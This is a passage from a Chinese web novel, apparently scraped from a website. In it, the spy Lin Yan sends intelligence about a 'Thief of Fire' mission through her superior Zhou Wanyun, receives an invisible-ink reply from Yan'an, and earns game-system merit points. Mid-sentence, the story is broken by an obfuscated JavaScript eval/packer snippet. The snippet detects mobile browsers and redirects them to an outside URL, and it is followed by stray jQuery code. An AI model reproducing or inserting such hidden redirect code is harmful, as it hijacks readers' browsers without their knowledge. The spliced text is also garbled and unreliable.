“盗火者”三个字,如同烧红的烙铁,深深烙印在林雁的脑海,伴随着那百万功德的诱惑与百分之五生存率的冰冷宣告。然而,这任务绝非一人之力可成,更非一时冲动可为。她所破译的电文、吴启明用命换来的情报,必须立刻、以最高优先级送回延安。唯有依靠组织的力量,才能制定出哪怕只有一线生机的行动计划。
她强压下立刻行动的冲动,用最快速度将破译出的电文关键内容、以及自己对“丸之内”实验室和“雨伞”、“杉”、“雪”等项目关联性的分析,用密写技术浓缩编码,誊写在一张极薄的棉纸上。每一个字都仿佛重若千钧,浸透着无数“原木”的血泪与哀嚎。
如何将这性命攸关的情报送出去?常规的死信箱和联络渠道太慢,且无法确保优先级。她想到了周婉云。唯有通过她,才能启动那条直通上级、甚至可能直通延安的紧急通道。
次日,林雁顶着巨大的心理压力,面色如常地来到华北商事。她注意到周婉云的眼圈带着一丝不易察觉的青黑,显然也一夜未眠。在将一份日常报表递给周婉云时,林雁的手指微微颤抖,指尖在报表右下角极其快速地、有规律地敲击了数下——这是最高紧急情况的暗号。
周婉云接报表的手几不可察地一顿,抬眼看她,目光锐利如鹰隼,瞬间读懂了林雁眼中那几乎要满溢出来的焦灼与惊骇。她没有丝毫迟疑,极其自然地将报表收起,低声快速道:“下午三点,仓库区‘老地方’,盘点积压货。”
“是,主任。”林雁低下头,心脏仍在狂跳,但一丝希望已然升起。
下午三点,仓库区僻静无人,空气中弥漫着尘埃和霉味。林雁按照指示,核对着一批早已无人问津的陈旧纺织品的数量。周婉云的身影出现在货架尽头,她快步走来,假装检查货品成色,声音压得极低:“什么事?”
林雁没有多说,只是迅速将那张卷得极细的棉纸塞进一匹布的卷芯内,低声道:“最高紧急,‘盗火者’依据。须即刻送出!”
听到“盗火者”三字,周婉云的瞳孔猛地收缩,脸色瞬间变得无比凝重。她甚至没有问具体内容,只是重重点头,手指在那匹布上做了一个特殊的标记。“我知道了。你……一切小心。”她的声音干涩,带着前所未有的沉重。她深知,能让林雁动用这个代号和最高紧急通道的情报,意味着什么。
情报如同投入深潭的石子,通过周婉云掌握的紧急线路,以最快的速度悄无声息地流向远方。而林雁,则陷入了最难熬的等待。
接下来的几天,每一分每一秒都如同在油锅中煎熬。她强迫自己处理华北商事的日常工作,但那些数字和票据在她眼前仿佛都变成了电文上冰冷的“原木”编号和实验项目代号。她不敢多吃,不敢深睡,【方圆洞察】长时间维持在警戒状态,任何一点风吹草动都让她心惊肉跳。她既期盼着组织的回音,又恐惧着回音的内容——那可能意味着她必须立刻踏上那条不归路。
焦灼与愤怒在她心中交织燃烧。愤怒于日寇的惨无人道,焦灼于时间的流逝。每多耽搁一天,甚至一小时,都可能意味着又有无辜者被送入那人间地狱。系统界面上那“百分之五”的生存率像幽灵般盘旋,但她更多的是一种近乎麻木的决心——必须有人去,必须有人阻止这一切,必须有人将恶魔的罪证公之于世。
她利用等待的时间,尽可能地从公开渠道搜集一切关于满洲、关于哈尔滨、关于平房区的地理、气候、交通信息,甚至是一些无关紧要的日资企业招聘启事,默默记在脑中。这些碎片化的信息,或许在未来都能成为保命的关键。
第三天下午,周婉云将一个密封的牛皮纸档案袋放在她桌上,语气平淡如常:“这是上个月与奉天方面往来函电的备份,需要归档。仔细点,别弄乱了顺序。”
林雁接过档案袋,手感沉重。她回到座位,打开袋口,里面果然是厚厚一摞往来电文。但在电文的最下面,压着一封没有署名、没有抬头、看似空白的信纸。
她立刻意识到,回信来了!
她强作镇定,处理完手头几件杂事,待到课室内人稍少,才借口去洗手间,躲进隔间,用预先准备好的显影药水涂抹在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309445|182852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那张空白信纸上。
字迹缓缓浮现,内容简洁到极致,却每一个字都重如千钧:
“情报悉知,骇人听闻。‘盗火’之任,重于泰山。组织原则:不惜代价,获取罪证,揭露暴行。然敌巢凶险,九死一生。授权你全权权衡,若事不可为,以保全自身为要。后续指令及支援,将依你决断及抵达后情况而定。延安,知。”
信件没有落款,但末尾的“延安,知”二字,却代表着最高级别的认可和关注。
没有具体的计划,没有承诺的支援,只有沉甸甸的授权和“不惜代价”的指令,以及那句充满无奈却现实的“以保全自身为要”。这完全在林雁的预料之中。面对如此森严的壁垒,组织也无法从外部提供太多帮助,一切只能靠她自己随机应变。
但同时,这封回信也彻底坚定了她的决心。组织的目标与她一致:获取罪证,揭露暴行!这就足够了。
她将信纸冲入下水道,看着字迹彻底消失,然后洗了把脸,冰冷的水让她更加清醒。她抬起头,看着镜中自己苍白却眼神坚定的脸。
【紧急情报传递 - 完成。】
【最高优先级情报已成功送达并获确认。组织授权任务执行。】
【结算:功德+1000;【情报传递】经验+500。】
【当前功德值:12900】
【累计获取总功德值:14180】
系统的提示音响起,为她这阶段的等待和焦虑画上了一个句号。功德值再次增长,但她已无心关注这些数字。
她走出洗手间,回到课室。周婉云的目光与她短暂交汇,林雁几不可察地微微颔首。周婉云眼中闪过一丝复杂的情绪,有关切,有担忧,更有一种沉重的理解。她什么也没说,只是转身走向自己的办公室,背影挺直,却带着一丝不易察觉的疲惫。
林雁知道,自己该动身了。北上之路,通往的不仅是冰天雪地的满洲,更是直插恶魔心脏的刀尖。她深吸一口气,开始默默规划着离开天津、前往哈尔滨的每一步。时间,真的不多了。